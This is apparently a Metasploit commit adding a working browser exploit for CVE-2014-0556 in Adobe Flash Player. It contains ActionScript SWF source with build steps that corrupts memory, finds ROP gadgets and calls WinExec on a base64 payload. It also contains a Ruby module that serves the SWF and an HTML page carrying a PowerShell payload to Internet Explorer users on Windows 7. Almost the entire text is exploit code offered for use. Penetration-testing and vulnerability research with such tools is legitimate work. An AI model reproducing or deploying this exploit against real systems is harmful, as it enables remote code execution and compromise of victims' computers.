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// Build how to:
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// 1. Download the AIRSDK, and use its compiler.
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// 2. Download the Flex SDK (4.6)
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// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
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// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
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// 4. Build with: mxmlc -o msf.swf Main.as
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// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
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// Modified to be used from msf
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package
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{
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import flash.display.Sprite
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import flash.display.BitmapData
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import flash.geom.Rectangle
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import flash.utils.ByteArray
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import flash.display.LoaderInfo
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import mx.utils.Base64Decoder
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public class Main extends Sprite
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{
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private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
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private var uv:Vector.<Object> = new Vector.<Object>(12800)
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private var bd:BitmapData = new BitmapData(128, 16)
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private var i:uint = 0
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public function Main()
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{
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var b64:Base64Decoder = new Base64Decoder()
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b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
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var payload:String = b64.toByteArray().toString()
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for (i = 0; i < bv.length; i++) {
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bv[i] = new ByteArray()
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bv[i].length = 0x2000
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bv[i].position = 0xFFFFF000
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}
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for (i = 0; i < bv.length; i++)
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if (i % 2 == 0) bv[i] = null
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for (i = 0; i < uv.length; i++) {
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uv[i] = new Vector.<uint>(1022)
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}
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bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
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for (i = 0; ; i++)
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if (uv[i].length == 0xffffffff) break
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for (var i2:uint = 1; i2 < uv.length; i2++) {
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if (i == i2) continue
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uv[i2] = new Vector.<Object>(1014)
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uv[i2][0] = bv[6401]
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uv[i2][1] = this
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}
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uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
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bv[6401].endian = "littleEndian"
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bv[6401].length = 0x500000
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var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
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var main:uint = uv[i][0xfffffc09] - 1
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var vtable:uint = vector_read(main)
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vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
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vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
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byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
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byte_write(uv[i][0])
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var flash:uint = base(vtable)
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var winmm:uint = module("winmm.dll", flash)
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var kernel32:uint = module("kernel32.dll", winmm)
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var virtualprotect:uint = procedure("VirtualProtect", kernel32)
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var winexec:uint = procedure("WinExec", kernel32)
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var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
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var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
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byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
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byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
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byte_write(0, "\x89\x03", false) // mov [ebx], eax
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byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
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byte_write(buffer + 0x100, payload, true)
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byte_write(buffer + 0x20070, xchgeaxespret)
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byte_write(buffer + 0x20000, xchgeaxesiret)
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byte_write(0, virtualprotect)
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// VirtualProtect
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byte_write(0, winexec)
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byte_write(0, buffer + 0x30000)
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byte_write(0, 0x1000)
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byte_write(0, 0x40)
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byte_write(0, buffer + 0x80)
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// WinExec
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byte_write(0, buffer + 0x30000)
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byte_write(0, buffer + 0x100)
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byte_write(0)
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byte_write(main, buffer + 0x20000)
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this.toString()
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}
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private function vector_write(addr:uint, value:uint = 0):void
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{
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addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
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}
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private function vector_read(addr:uint):uint
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{
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return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
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}
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private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
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{
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if (addr) bv[6401].position = addr
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if (value is String) {
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for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
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if (zero) bv[6401].writeByte(0)
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} else bv[6401].writeUnsignedInt(value)
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}
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private function byte_read(addr:uint, type:String = "dword"):uint
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{
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bv[6401].position = addr
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switch(type) {
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case "dword":
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return bv[6401].readUnsignedInt()
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case "word":
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return bv[6401].readUnsignedShort()
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case "byte":
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return bv[6401].readUnsignedByte()
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}
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return 0
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}
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private function base(addr:uint):uint
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{
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addr &= 0xffff0000
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while (true) {
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if (byte_read(addr) == 0x00905a4d) return addr
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addr -= 0x10000
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}
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return 0
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}
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private function module(name:String, addr:uint):uint
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{
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var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
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while (true) {
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var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
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if (!entry) throw new Error("FAIL!");
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bv[6401].position = addr + entry
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if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
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}
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return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
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}
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private function procedure(name:String, addr:uint):uint
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{
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var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
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var numberOfNames:uint = byte_read(eat + 0x18)
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var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
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var addressOfNames:uint = addr + byte_read(eat + 0x20)
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var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
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for (var i:uint = 0; ; i++) {
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var entry:uint = byte_read(addressOfNames + i * 4)
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bv[6401].position = addr + entry
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if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
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}
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return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
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}
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private function gadget(gadget:String, hint:uint, addr:uint):uint
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{
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var find:uint = 0
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var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
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var value:uint = parseInt(gadget, 16)
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for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
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return addr + i
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}
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}
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}
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@ -0,0 +1,110 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Powershell
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include Msf::Exploit::Remote::BrowserExploitServer
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Adobe Flash Player copyPixelsToByteArray Integer Overflow',
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'Description' => %q{
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This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs
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in the copyPixelsToByteArray method from the BitmapData object. The position field of the
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destination ByteArray can be used to cause an integer overflow and write contents out of
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the ByteArray buffer. This module has been tested successfully on Windows 7 SP1 (32-bit),
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IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145 and 14.0.0.125.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Chris Evans', # Vulnerability discovery and 64 bit analysis / exploit
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'Nicolas Joly', # Trigger for 32 bit, according to the project zero ticket
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'hdarwin', # @hdarwin89, 32 bit public exploit, this msf module uses it
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'juan vazquez' # msf module
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],
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'References' =>
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[
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['CVE', '2014-0556'],
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['URL', 'http://googleprojectzero.blogspot.com/2014/09/exploiting-cve-2014-0556-in-flash.html'],
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['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=46'],
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['URL', 'http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/'],
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['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0556-adobe-flash-player.html'],
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['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-21.html']
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],
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Platform' => 'win',
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'BrowserRequirements' =>
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{
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:source => /script|headers/i,
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:os_name => OperatingSystems::Match::WINDOWS_7,
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:ua_name => Msf::HttpClients::IE,
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:flash => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.176') },
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:arch => ARCH_X86
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},
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'Targets' =>
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[
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[ 'Automatic', {} ]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Sep 23 2014',
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'DefaultTarget' => 0))
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end
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def exploit
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@swf = create_swf
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super
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end
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def on_request_exploit(cli, request, target_info)
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print_status("Request: #{request.uri}")
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if request.uri =~ /\.swf$/
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print_status('Sending SWF...')
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send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
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return
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end
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print_status('Sending HTML...')
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send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
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end
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def exploit_template(cli, target_info)
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swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
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target_payload = get_payload(cli, target_info)
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psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
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b64_payload = Rex::Text.encode_base64(psh_payload)
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html_template = %Q|<html>
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<body>
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<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
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<param name="movie" value="<%=swf_random%>" />
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<param name="allowScriptAccess" value="always" />
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<param name="FlashVars" value="sh=<%=b64_payload%>" />
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<param name="Play" value="true" />
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<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
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</object>
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</body>
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</html>
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return html_template, binding()
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end
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def create_swf
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path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0556', 'msf.swf')
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swf = ::File.open(path, 'rb') { |f| swf = f.read }
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swf
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end
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end
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Reference in New Issue